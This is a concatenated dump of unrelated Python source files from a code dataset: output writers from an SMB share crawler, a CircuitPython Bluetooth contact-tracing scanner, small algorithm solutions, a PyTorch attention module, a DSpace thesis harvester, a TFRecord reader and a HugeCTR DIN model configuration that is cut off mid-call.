path.get_full_path())\n if path not in path.paths:\n add_paths_to_node(path.paths, dir_node)\n\n root = ET.Element(\"smbcrawler\")\n for smbConnection in output.hosts:\n host_node = ET.SubElement(root, \"host\")\n host_node.set(\"name\", str(smbConnection))\n for share in smbConnection.shares:\n share_node = ET.SubElement(host_node, \"share\")\n share_node.set(\"name\", str(share))\n share_node.set(\"remark\", share.remark)\n share_node.set(\"read\", str(share.permissions['read']))\n share_node.set(\"write\", str(share.permissions['write']))\n share_node.set(\"list_root\", str(share.permissions['list_root']))\n share_node.set(\"guest\", str(share.permissions['guest']))\n add_paths_to_node(share.paths, share_node)\n tree = ET.ElementTree(root)\n tree.write(filename, encoding='UTF-8', pretty_print=True)\n\n\ndef write_grep(output, filename):\n def write_to_file(smbClient, paths, f):\n for p in paths:\n line = \"\"\n for s in [str(smbClient),\n share.name,\n share.remark,\n p.get_full_path(),\n share.get_permissions()]:\n line += s + \"\\t\"\n f.write(line.replace('\\n', ' ') + \"\\n\")\n write_to_file(smbClient, p, f)\n\n with open(filename, \"w\") as f:\n f.write(\"host\\tshare\\tremark\\tpath\\tpermissions\\n\")\n for smbClient in output.hosts:\n for share in smbClient.shares:\n if share.paths:\n write_to_file(smbClient, share.paths, f)\n else:\n f.write('%s\\t%s\\t%s\\t\\t%s\\n' % (\n smbClient,\n share.name,\n share.remark,\n share.get_permissions(),\n ))\n\n\ndef write_json(output, filename):\n with open(filename, \"w\") as f:\n json.dump(output, f, cls=MyEncoder, indent=1)\n\n\ndef write_normal(output):\n # TODO\n pass\n","sub_path":"smbcrawler/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":7112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"588051015","text":"### CoronAlert Scanner\n### Listen to Contact Tracing message and display the number phones nearby\n### Works on:\n### (1) Circuit Bluefruit Express CoronAlert Scanner\n### (2a) CLUE + SnowPi RGB CoronAlert Scanner (or other NeoPixel connected on P2)\n### (2b) PyPortal + SnowPi RGB CoronAlert Scanner (connected on D4)\n### (3a) CLUE + NeoTrellis CoronAlert Scanner (connected over I2C)\n### (3b) PyPortal + NeoTrellis CoronAlert Scanner (connected over I2C)\n\n### Copy this file to CPB, CLUE or PyPortal board as code.py\n\n\n### Tested with Circuit Playground Bluefruit:\n### Adafruit CircuitPython 6.0.0-beta.1 on 2020-10-01; Adafruit Circuit Playground Bluefruit with nRF52840\n\n### Tested with CLUE:\n### Adafruit CircuitPython 6.0.0-beta.0 on 2020-09-21; Adafruit CLUE nRF52840 Express with nRF52840\n\n### Tested with PyPortal:\n### Not working yet for PyPortal as HCI_bleio does support scanning for advertisement yet\n\n### Copyright (c) 2020 David Glaude\n### (1) Simplified version to remove the need for TFT Gizmo and work only with the 10 NeoPixel of the CPB\n### (2) Also work with 12 NeoPixel from the SnowPi RGB.\n### (3) Also work with 16 NeoPixel on the NeoTrellis.\n\n### Original code and licence\n\n### MIT License\n\n### Copyright (c) 2020 Kevin J. Walters\n\n### Permission is hereby granted, free of charge, to any person obtaining a copy\n### of this software and associated documentation files (the \"Software\"), to deal\n### in the Software without restriction, including without limitation the rights\n### to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n### copies of the Software, and to permit persons to whom the Software is\n### furnished to do so, subject to the following conditions:\n\n### The above copyright notice and this permission notice shall be included in all\n### copies or substantial portions of the Software.\n\n### THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n### IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n### FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n### AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n### LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n### OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n### SOFTWARE.\n\nimport time\nimport os\n\nimport busio\nimport board\nimport neopixel\nfrom adafruit_neotrellis.neotrellis import NeoTrellis\n\n### https://github.com/adafruit/Adafruit_CircuitPython_BLE\nfrom adafruit_ble import BLERadio\nfrom adafruit_ble.advertising.standard import Advertisement \n\n\n### This is the value used when we don't know what RGB LED to use yet\nNO_IDX = -1\n### Address that do not advertise anymore get a very low RSSI to indicate that\nNOT_RSSI = -127\n\n### This is just to show then CPE start (or restart)\nBRIGHTNESS = 1\n\n### The number of rows is also the number of NEOPIXEL\n###rows = 10 ### CPB with build in 10 RGB\n###rows = 12 ### CLUE with SnowPi RGB\nrows = 12 ### PyPortal with SnowPi RGB\n###rows = 16 ### CLUE with NeoTrellis\n\n\n###strip = neopixel.NeoPixel(board.NEOPIXEL, rows, brightness=BRIGHTNESS) ### CPB\n###strip = neopixel.NeoPixel(board.P2, rows, brightness=BRIGHTNESS) ### CLUE with SnowPi RGB\nstrip = neopixel.NeoPixel(board.D4, rows, brightness=BRIGHTNESS) ### PyPortal with SnowPi RGB\n\n# create the i2c object for the trellis\ni2c_bus = busio.I2C(board.SCL, board.SDA)\n# create the trellis\ntrellis = NeoTrellis(i2c_bus)\n\nfor i in range(16):\n trellis.pixels[i] = (0, 0, 31)\n time.sleep(0.05)\n\nfor i in range(16):\n trellis.pixels[i] = (0, 0, 0)\n time.sleep(0.05)\n\n\n### Neopixel version for CPB and SnowPi\nstrip.fill((0, 0, 31))\ntime.sleep(0.5)\nstrip.fill((0, 0, 0))\n\nlast_seen_update_ns = time.monotonic_ns()\n# Reintroduce screen_update_ns to limit call to change color\nscreen_update_ns = 250 * 1000 * 1000\n\n### If no advertisement received for 'hide_time_ns' that RGB LED turn BLUE and will be forgotten\nhide_time_ns = 20 * 1000 * 1000 * 1000\n### If no advertisement is received for 'stale_time_ns' that RGB LED is flushed for reuse\nstale_time_ns = 200 * 1000 * 1000 * 1000\nscan_time_s = 10\n\nfrom adafruit_airlift.esp32 import ESP32\nesp32 = ESP32(tx=board.TX, rx=board.RX)\nadapter = esp32.start_bluetooth()\nble = BLERadio(adapter)\nble.name = \"PyPortal\"\n\n###ble = BLERadio()\n###ble.name = \"CPB\"\n\n### An array of timestamp and advertisement by key (addr)\nlast_ad_by_key = {}\n\nMINI_BLUE = (0, 0, 1)\nSHADE_BLUE = [(0, 0, 63), (0, 0, 31), (0, 0, 15), (0, 0, 7), (0, 0, 3)]\nTIME_BLUE = [50 * 1000 * 1000 * 1000, 80 * 1000 * 1000 * 1000, 110 * 1000 * 1000 * 1000, 140 * 1000 * 1000 * 1000, 170 * 1000 * 1000 * 1000]\n\nRSSI_DEFAULT_COLOR = (63, 0, 0)\nRSSI_COLOR = [(0, 31, 0), (15, 31, 0), (15, 15, 0), (31, 15, 0), (31, 0, 0), (63, 0, 0)]\nRSSI_VALUE = [-80, -75, -70, -65, -60, -55]\n\n\n### Decide color based on rssi and age_ns\ndef gimme_color(age_ns, rssi):\n if rssi == NOT_RSSI:\n result_color = MINI_BLUE\n for i in range(len(TIME_BLUE)):\n if age_ns < TIME_BLUE[i]:\n result_color = SHADE_BLUE[i]\n break\n else:\n result_color = RSSI_DEFAULT_COLOR\n for i in range(len(RSSI_VALUE)):\n if rssi < RSSI_VALUE[i]:\n result_color = RSSI_COLOR[i]\n break\n return ( result_color )\n\n\ndef delete_very_old(rows_n, ad_by_key):\n \"\"\"Delete older key above the number of rows_n\"\"\"\n ### If we have more entry than space\n if len(ad_by_key)>rows_n:\n ### Sort by last seen to identify earliest that should be cleaned\n sorted_data = sorted(ad_by_key.items(), key=lambda item: (item[1][1]))\n ### Number of entries to remove\n to_delete = len(ad_by_key)-rows_n\n ### Iterate on the first entry and delete them from the list received\n for key, value in sorted_data[:to_delete]:\n ### Delete such entry\n del ad_by_key[key]\n\n\ndef hide_old(ad_by_key, hide_time_ns):\n \"\"\"Hide any entry in the ad_by_key dict with a timestamp older than hide_time_ns. (setting RSSI to -255)\"\"\"\n ### the list() is needed to make a real list from the iterator\n ### which allows modification of the dict inside the loop\n for key, value in list(ad_by_key.items()):\n if value[1] < hide_time_ns:\n ad_by_key[key] = (value[0], value[1], NOT_RSSI, value[3])\n\n\ndef remove_old(ad_by_key, expire_time_ns):\n \"\"\"Delete any entry in the ad_by_key dict with a timestamp older than expire_time_ns.\"\"\"\n ### the list() is needed to make a real list from the iterator\n ### which allows modification of the dict inside the loop\n for key, value in list(ad_by_key.items()):\n if value[1] < expire_time_ns:\n del ad_by_key[key]\n\n\ndef update_screen(rows_n, ad_by_key, then_ns):\n \"\"\"Colour is used to indicate the power of the signal or absence or recent signal.\"\"\"\n possible = list(range(rows_n))\n ### Sort by the MAC field\n sorted_data = sorted(ad_by_key.items(), key=lambda item: (item[0]))\n ### Scan all element and see what index are already in use\n for key, value in sorted_data[:rows_n]:\n ad, ad_time_ns, rssi, index_col = value\n if index_col != NO_IDX:\n possible.remove(index_col)\n ### Scan all element and attribute index for those without one\n for key, value in sorted_data[:rows_n]:\n ad, ad_time_ns, rssi, index_col = value\n if index_col == NO_IDX:\n new_index=possible.pop()\n ad_by_key[key] = (ad, ad_time_ns, rssi, new_index)\n ### Scan all element to display the color\n for key, value in sorted_data[:rows_n]:\n ad, ad_time_ns, rssi, index_col = value\n age_ns = then_ns - ad_time_ns\n pixel_color=gimme_color(age_ns, rssi)\n### strip[index_col]=pixel_color\n little_index=index_col & 0xFF\n# byte_index=bytes(index_col & 0xFF)\n trellis.pixels[little_index]=pixel_color\n time.sleep(0.01)\n\n ### Scan unused index to clear the color\n for index in possible:\n### strip[index]=(0, 0, 0)\n trellis.pixels[index]=(0, 0, 0)\n time.sleep(0.01)\n\n\nwhile True:\n ### For all the advertisement\n for ad in ble.start_scan(minimum_rssi=-127, timeout=scan_time_s):\n ### Take the timestamp\n now_ns = time.monotonic_ns()\n ### If this is a contact tracing advertisement\n if 3 in ad.data_dict:\n if ad.data_dict[3] == b'o\\xfd':\n ### Found a Contact Tracing advertisement.\n addr_text = \"\".join([\"{:02x}\".format(b) for b in reversed(ad.address.address_bytes)])\n if addr_text in last_ad_by_key:\n ### Updating existing entry with a new timestamp\n last_ad_by_key[addr_text] = (ad, now_ns, ad.rssi, last_ad_by_key[addr_text][3])\n else:\n ### Creating a new entry, but we don't know what RGB LED to use yet, so NO_IDX\n last_ad_by_key[addr_text] = (ad, now_ns, ad.rssi, NO_IDX)\n delete_very_old(rows, last_ad_by_key)\n hide_old(last_ad_by_key, time.monotonic_ns() - hide_time_ns)\n remove_old(last_ad_by_key, time.monotonic_ns() - stale_time_ns)\n if now_ns - last_seen_update_ns > screen_update_ns:\n update_screen(rows, last_ad_by_key, now_ns)\n last_seen_update_ns = now_ns\n","sub_path":"non_working_PyPortal_version.py","file_name":"non_working_PyPortal_version.py","file_ext":"py","file_size_in_byte":9410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"224422583","text":"from . import Tools\n\ndef drop_database(database_name):\n\tdatabases = Context.get_databases()\n\n\tif database_name not in databases:\n\t\traise Exception('Database %s does not exists.' % database_name)\n\n\tdel databases[database_name]\n\ndef drop_table(table_name):\n\ttables = Context.get_tables()\n\n\tif table_name not in tables:\n\t\traise Exception('Table %s does not exists in database %s.' % (table_name, Context.active_database))\n\n\tdel tables[table_name]\n\ndef drop_index(index_name):\n\tindices = Context.get_indices()\n\n\tif index_name not in indices:\n\t\traise Exception('Table %s does not exists in database %s.' % (index_name, Context.active_database))\n\n\tdel indices[index_name]\n\ndef drop(line):\n\twhat, *rest = Tools.smart_split(line, ' ')\n\t\n\tif what not in drop_dict:\n\t\traise Exception('[DROP]: I don`t understand %s' % what)\n\n\tdrop_dict[what](*rest)\n\ndrop_dict = {\n\t'index' : drop_index,\n\t'database' : drop_database,\n\t'table' : drop_table,\n}\n","sub_path":"ABKR/DropCommand.py","file_name":"DropCommand.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"314279024","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Pouring water\n ~~~~~~~~~~~~\n 给定 m*n 矩形水槽, 每个格子高度各不相同, 相邻格子可以联通,对角线格子不联通\n 现从最左上角格子开始倒水,求一共有多少个格子有水?\n ~~~~~~~~~~~~\n 数据结构选择:\n 可以使用deque, Queue, but do not use Queue\n https://stackoverflow.com/questions/717148/queue-queue-vs-collections-deque\n 或者stack用list实现, list.append()和list.pop()最右侧时间复杂度均为O(1)\n\"\"\"\n\n\nfrom collections import deque\n\n\ndef compute_filled_grids(matrix):\n filled = {matrix[0][0]}\n queue = deque([(matrix[0][0], 0, 0)])\n m, n = len(matrix), len(matrix[0])\n\n while len(queue) != 0:\n current, row, col = queue.popleft()\n right = matrix[row][col+1] if col + 1 < n else float('inf')\n left = matrix[row][col-1] if col - 1 >= 0 else float('inf')\n up = matrix[row-1][col] if row - 1 >= 0 else float('inf')\n down = matrix[row+1][col] if row + 1 < m else float('inf')\n\n around = ((right, row, col+1), (left, row, col-1),\n (up, row-1, col), (down, row+1, col))\n for grid, r, c in around:\n if current > grid and grid not in filled:\n filled.add(grid)\n queue.append((grid, r, c))\n return len(filled)\n\n\ndef compute_grids_with_stack(matrix):\n counter = 1\n filled = {matrix[0][0]}\n stack = [(matrix[0][0], 0, 0)]\n m, n = len(matrix), len(matrix[0])\n\n while len(stack) != 0:\n current, row, col = stack.pop()\n right = matrix[row][col+1] if col + 1 < n else float('inf')\n left = matrix[row][col-1] if col - 1 >= 0 else float('inf')\n up = matrix[row-1][col] if row - 1 >= 0 else float('inf')\n down = matrix[row+1][col] if row + 1 < m else float('inf')\n\n around = ((right, row, col+1), (left, row, col-1),\n (up, row-1, col), (down, row+1, col))\n for grid, r, c in around:\n if current > grid and grid not in filled:\n counter += 1\n filled.add(grid)\n stack.append((grid, r, c))\n return counter\n\n\nif __name__ == '__main__':\n test_matrix1 = [[6, 4, 3], [7, 2, 1], [5, 8, 9]]\n\n assert compute_filled_grids(test_matrix1) == 5\n assert compute_grids_with_stack(test_matrix1) == 5\n\n test_matrix2 = [[9, 8, 7], [6, 5, 4], [3, 2, 1]]\n assert compute_filled_grids(test_matrix2) == 9\n assert compute_grids_with_stack(test_matrix2) == 9\n","sub_path":"src/problems/p29_fill_water.py","file_name":"p29_fill_water.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"616655689","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\n\n\nclass ScaledDotProductAttention(nn.Module):\n \"\"\" Scaled Dot-Product Attention \"\"\"\n\n def __init__(self, temperature, attn_dropout=0.1):\n super(ScaledDotProductAttention, self).__init__()\n self.temperature = temperature\n self.dropout = nn.Dropout(attn_dropout)\n self.softmax = nn.Softmax(dim=2)\n\n def forward(self, q, k, v, e=None, mask=None):\n # q: (n*b) x lq x dk\n # k: (n*b) x lk x dk\n # v: (n*b) x lv x dv\n attn = torch.bmm(q, k.transpose(1, 2)) # (n*b) x lq x lk\n if e is not None:\n s = torch.bmm(q, e.transpose(1, 2)) # (n*b) x lq x lq\n sz_b, len_q, _ = s.size()\n s = F.pad(s, (1, 0)).view(-1, len_q+1, len_q)[:, 1:, :] # (n*b) x lq x lq\n attn = attn + s\n\n attn = attn / self.temperature\n\n if mask is not None:\n attn = attn.masked_fill(mask, -np.inf)\n attn = self.softmax(attn)\n if mask is not None:\n attn = attn.masked_fill(mask, 0.)\n\n attn = self.dropout(attn)\n output = torch.bmm(attn, v) # (n*b) x lq x dv\n\n return output, attn\n","sub_path":"csgan/deep/transformer/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"494163598","text":"from typing import List\n\n\nclass Solution:\n def asteroidCollision(self, arr: List[int]) -> List[int]:\n if not arr or len(arr) == 0:\n return []\n result = []\n while arr and len(arr) > 0 and arr[0] < 0:\n result.append(arr.pop(0))\n if len(arr) == 0:\n return result\n # result1 = []\n # while arr and len(arr) > 0 and arr[-1] > 0:\n # result1.append(arr.pop(-1))\n\n # result.extend(result1)\n temp = [arr[0]]\n for i in range(1, len(arr)):\n if arr[i] > 0:\n temp.append(arr[i])\n else:\n flag = True\n while len(temp) > 0 and temp[-1] > 0:\n if (temp[-1]) == abs(arr[i]):\n temp.pop(-1)\n flag = False\n break\n elif temp[-1] < abs(arr[i]):\n temp.pop(-1)\n else:\n flag = False\n break\n if flag:\n temp.append(arr[i])\n result.extend(temp)\n return result\n\n\narr = [-2, 1, -2, -2]\nresult = Solution().asteroidCollision(arr)\nprint(result)\n","sub_path":"asteroid_collision.py","file_name":"asteroid_collision.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"528808932","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nimport json\nimport logging\nimport os\nimport requests\nimport xml.etree.ElementTree as ET\n\nfrom tika import parser\n\nCUR_DIR = os.path.dirname(os.path.realpath(__file__))\nwith open(CUR_DIR + '/resources/thesis_set_list.json', 'r') as f:\n THESIS_SET_LIST = json.loads(f.read())\n\nmets_namespace = {'mets': 'http://www.loc.gov/METS/',\n 'mods': 'http://www.loc.gov/mods/v3',\n 'oai': 'http://www.openarchives.org/OAI/2.0/'}\n\nlog = logging.getLogger(__name__)\n\n\ndef extract_text(pdf_file):\n parsed = parser.from_file(pdf_file)\n return parsed['content'].encode('utf-8')\n\n\ndef get_collection_names(set_specs):\n '''Gets and returns set of normalized collection names from set spec list.\n '''\n names = set()\n for set_spec in set_specs:\n try:\n name = THESIS_SET_LIST[set_spec]\n name = name.replace(' - ', '(').replace(' (', '(')\n split_name = name.split('(')\n names.add(split_name[0])\n except KeyError as e:\n pass\n return names\n\n\ndef get_pdf_url(mets):\n '''Gets and returns download URL for PDF from METS record.\n '''\n record = mets.find('.//mets:file[@MIMETYPE=\"application/pdf\"]/',\n mets_namespace)\n url = record.get('{http://www.w3.org/1999/xlink}href')\n return url\n\n\ndef get_record(dspace_oai_uri, dspace_oai_identifier, identifier,\n metadata_format):\n '''Gets metadata record for a single item in OAI-PMH repository in\n specified metadata format.\n '''\n params = {'verb': 'GetRecord',\n 'identifier': dspace_oai_identifier + identifier,\n 'metadataPrefix': metadata_format}\n r = requests.get(dspace_oai_uri, params=params)\n return r.text\n\n\ndef get_record_list(dspace_oai_uri, metadata_format, start_date=None,\n end_date=None):\n '''Returns a list of record headers for items in OAI-PMH repository. Must\n pass in desired metadata format prefix. Can optionally pass bounding dates\n to limit harvest to.\n '''\n params = {'verb': 'ListIdentifiers', 'metadataPrefix': metadata_format}\n\n if start_date:\n params['from'] = start_date\n if end_date:\n params['until'] = end_date\n\n r = requests.get(dspace_oai_uri, params=params)\n return r.text\n\n\ndef is_in_fedora(handle, fedora_uri, parent_container, auth=None):\n '''Returns True if given thesis item is already in the given Fedora\n repository, otherwise returns False.\n '''\n url = fedora_uri + parent_container + '/' + handle\n r = requests.head(url, auth=auth)\n if r.status_code == 200:\n return True\n elif r.status_code == 404:\n return False\n else:\n raise requests.exceptions.HTTPError(r)\n\n\ndef is_thesis(sets):\n '''Returns True if any set_spec in given sets is in the\n thesis_set_spec_list, otherwise returns false.\n '''\n return any((s in THESIS_SET_LIST.keys() for s in sets))\n\n\ndef parse_record_list(record_xml):\n xml = ET.fromstring(record_xml)\n records = xml.findall('.//oai:header', mets_namespace)\n for record in records:\n handle = record.find('oai:identifier', mets_namespace).text\\\n .replace('oai:dspace.mit.edu:', '').replace('/', '-')\n identifier = handle.replace('1721.1-', '')\n setSpecs = record.findall('oai:setSpec', mets_namespace)\n sets = [s.text for s in setSpecs]\n yield {'handle': handle, 'identifier': identifier, 'sets': sets}\n","sub_path":"foist/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"44273051","text":"# pylint: disable=W0612, R0913\n'''File that reads Tfrecord and display images and labels'''\nimport os\nimport argparse\nimport numpy as np\nfrom google.cloud import storage\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\nCLIENT = storage.Client()\n\n\ndef get_args():\n \"\"\"Define the task arguments with the default values.\n Returns:\n experiment parameters\n \"\"\"\n args_parser = argparse.ArgumentParser()\n args_parser.add_argument(\n '--num-classes',\n help=\"Number of classes\",\n default = 100,\n #required=True,\n type=int\n )\n # args_parser.add_argument(\n # '--image-size',\n # help='Height and width of image',\n # required=True,\n # type=int\n # )\n args_parser.add_argument(\n '--batch-size',\n help='Batch size for each training and evaluation step.',\n type=int,\n default=2,\n )\n args_parser.add_argument(\n '--mode',\n help=\"\"\"\n train, test, valid\n \"\"\",\n default = 'train',\n #required=True,\n type=str,\n #choices=['train', 'test', 'valid']\n )\n args_parser.add_argument(\n '--num-batch',\n help='num of batches',\n type=int,\n default=3\n )\n args_parser.add_argument(\n '--data-path',\n help=\"\"\"\n path for tfrecord\n \"\"\",\n default = '/home/vishal/Desktop/tf_data_path',\n #required=True,\n type=str\n )\n args_parser.add_argument(\n '--bucket-name',\n help=\"\"\"\n GCS bucket name\n \"\"\",\n default = 'qommunicator',\n #required=True,\n type=str\n )\n return args_parser.parse_args()\n\n\nclass ReadTfrecord():\n '''\n Contains functions used in tfrecord\n '''\n\n def __init__(self, data_path,\n num_classes,\n #img_size,\n mode,\n batch_size,\n num_batch,\n bucket_name):\n '''\n Constructor for class read tfrecord\n '''\n self.datapath = data_path\n self.num_classes = num_classes\n #self.img_size = img_size\n self.mode = mode\n self.batch_size = batch_size\n self.num_batches = num_batch\n self.bucket_name = bucket_name\n\n def get_images_and_labels(self):\n '''\n Reads the tfrecord and returns images and labels\n '''\n # feature = {self.mode + '/image': tf.FixedLenFeature([], tf.string),\n # self.mode + '/label': tf.FixedLenFeature([], tf.string)}\n reader = tf.TFRecordReader()\n _, serialized_example = reader.read(self.datapath[0])\n\n for image_count in range(10):\n \tpath = str(image_count)\n \tfeature_dict = {path: tf.FixedLenFeature([], tf.string),\n \t'height': tf.FixedLenFeature([], tf.int64),\n \t'width': tf.FixedLenFeature([], tf.int64),\n \t'depth': tf.FixedLenFeature([], tf.int64)}\n\n \tfeatures = tf.parse_single_example(serialized_example, features=feature_dict)\n \timage_buffer = tf.reshape(features[path], shape=[])\n \timage = tf.decode_raw(image_buffer, tf.uint8)\n \timage = tf.reshape(image, tf.stack([height, width, num_depth]))\n \timage = tf.reshape(image, [1, height, width, num_depth])\n \timage_seq.append(image)\n\n # image = tf.reshape(image, [60,60,4])\n \n\n label = tf.reshape(label, [1, self.num_classes])\n return image_seq, label\n\n def show_images(self, tf_session, images, labels):\n '''\n Function to display images\n ARGS :\n sess : tensorflow session\n images : Images\n labels : one hot encoded\n '''\n for batch_index in range(self.num_batches):\n img, lbl = tf_session.run([images, labels])\n lbl = np.argmax(lbl, axis=0)\n print(lbl)\n img = img.astype(np.uint8)\n for j in range(self.batch_size):\n plt.subplot(2, 3, j + 1)\n plt.imshow(img[j, ...])\n # plt.title(lbl[j])\n plt.show()\n\n def make_list_of_data_path(self):\n \"\"\"\n Make list of tfrecords path from given data_dir\n \"\"\"\n #bucket = CLIENT.get_bucket(self.bucket_name)\n list_of_data_path = [os.path.join(self.datapath,f) for f in os.listdir(self.datapath)]\n # list_of_data_path = [os.path.join(\"gs://\" + self.bucket_name +\n # '/', f.name) for f in\n # bucket.list_blobs(prefix=self.datapath)]\n return list_of_data_path\n\n\ndef main(tf_session):\n '''\n Main function to read and show tfrecord\n '''\n args = get_args()\n read = ReadTfrecord(data_path=args.data_path,\n num_classes=args.num_classes,\n #img_size=args.image_size,\n mode=args.mode,\n batch_size=args.batch_size,\n num_batch=args.num_batch,\n bucket_name=args.bucket_name,\n )\n image, label = read.get_images_and_labels()\n print(\"$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\",image,\"***\",label)\n images, labels = tf.train.shuffle_batch([image, label],\n batch_size=args.batch_size,\n capacity=20,\n allow_smaller_final_batch=True,\n #num_threads=1)\n min_after_dequeue=1)\n \n init_op = tf.group(\n tf.global_variables_initializer(),\n tf.local_variables_initializer())\n tf_session.run(init_op)\n \n coord = tf.train.Coordinator()\n tf.train.start_queue_runners(coord=coord)\n print(\"$$$@@@@@@@@@@@\",sess,\"__\",images,\"__\",label)\n read.show_images(sess, images, labels)\n\n\nif __name__ == \"__main__\":\n with tf.Session() as sess:\n print(\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\")\n main(sess)\n\n","sub_path":"read_tfrecords/read_records_read_tf_record.py","file_name":"read_records_read_tf_record.py","file_ext":"py","file_size_in_byte":5644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"572812266","text":"import hugectr\nsolver = hugectr.CreateSolver(max_eval_batches = 1,\n batchsize_eval = 4096,\n batchsize = 64,\n lr = 0.00001,\n vvgpu = [[0]],\n repeat_dataset = True,\n i64_input_key = True,\n use_cuda_graph = True)\nreader = hugectr.DataReaderParams(data_reader_type = hugectr.DataReaderType_t.Parquet,\n source = [\"./din_data/train/_file_list.txt\"],\n eval_source = \"./din_data/valid/_file_list.txt\",\n check_type = hugectr.Check_t.Non,\n num_workers = 1,\n slot_size_array = [192403, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 63001, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 801])\noptimizer = hugectr.CreateOptimizer(optimizer_type = hugectr.Optimizer_t.Adam,\n update_type = hugectr.Update_t.Global,\n beta1 = 0.9,\n beta2 = 0.999,\n epsilon = 0.000000001)\nmodel = hugectr.Model(solver, reader, optimizer)\nmodel.add(hugectr.Input(label_dim = 1, label_name = \"label\",\n dense_dim = 0, dense_name = \"dense\",\n data_reader_sparse_param_array =\n [hugectr.DataReaderSparseParam(\"UserID\", 1, True, 1),\n hugectr.DataReaderSparseParam(\"GoodID\", 1, True, 11),\n hugectr.DataReaderSparseParam(\"CateID\", 1, True, 11)]))\n\nmodel.add(hugectr.SparseEmbedding(embedding_type = hugectr.Embedding_t.DistributedSlotSparseEmbeddingHash, \n workspace_size_per_gpu_in_mb = 28,\n embedding_vec_size = 18,\n combiner = \"sum\",\n sparse_embedding_name = \"sparse_embedding_user\",\n bottom_name = \"UserID\",\n optimizer = optimizer))\nmodel.add(hugectr.SparseEmbedding(embedding_type = hugectr.Embedding_t.DistributedSlotSparseEmbeddingHash, \n workspace_size_per_gpu_in_mb = 24,\n embedding_vec_size = 18,\n combiner = \"sum\",\n sparse_embedding_name = \"sparse_embedding_good\",\n bottom_name = \"GoodID\",\n optimizer = optimizer))\nmodel.add(hugectr.SparseEmbedding(embedding_type = hugectr.Embedding_t.DistributedSlotSparseEmbeddingHash, \n workspace_size_per_gpu_in_mb = 10,\n embedding_vec_size = 18,\n combiner = \"sum\",\n sparse_embedding_name = \"sparse_embedding_cate\",\n bottom_name = \"CateID\",\n optimizer = optimizer))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.FusedReshapeConcat,\n bottom_names = [\"sparse_embedding_good\", \"sparse_embedding_cate\"],\n top_names = [\"FusedReshapeConcat_item_his_em\", \"FusedReshapeConcat_item\"]))\n\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Slice,\n bottom_names = [\"FusedReshapeConcat_item\"],\n top_names = [\"item1\", \"item2\"],\n ranges=[(0,36),(0, 36)]))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Slice,\n bottom_names = [\"FusedReshapeConcat_item_his_em\"],\n top_names = [\"item_his1\", \"item_his2\", \"item_his3\", \"item_his4\", \"item_his5\"],\n ranges=[(0,36),(0, 36),(0, 36), (0, 36), (0, 36)]))\n\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Scale,\n bottom_names = [\"item1\"],\n top_names = [\"Scale_item\"],\n axis = 1, factor = 10))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Slice,\n bottom_names = [\"Scale_item\"],\n top_names = [\"Scale_item1\", \"Scale_item2\", \"Scale_item3\"],\n ranges=[(0,36),(0, 36),(0, 36)]))\n\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Sub,\n bottom_names = [\"Scale_item1\", \"item_his1\"],\n top_names = [\"sub_ih\"]))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.DotProduct, \n bottom_names = [\"Scale_item2\", \"item_his2\"],\n top_names = [\"DotProduct_i\"]))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Concat,\n bottom_names = [\"Scale_item3\", \"item_his3\", \"sub_ih\", \"DotProduct_i\"],\n top_names = [\"concat_i_h\"]))\n\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.InnerProduct,\n bottom_names = [\"concat_i_h\"],\n top_names = [\"fc_att_i2\"],\n num_output=40))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.InnerProduct,\n bottom_names = [\"fc_att_i2\"],\n top_names = [\"fc_att_i3\"],\n num_output=1))\nmodel.add(hugectr.DenseLayer(layer_type = hugectr.Layer_t.Reshape,\n bottom_names = [\"fc_att_i3\"],\n top_names = [\"reshape_score\"],\n leading_dim=10,\n 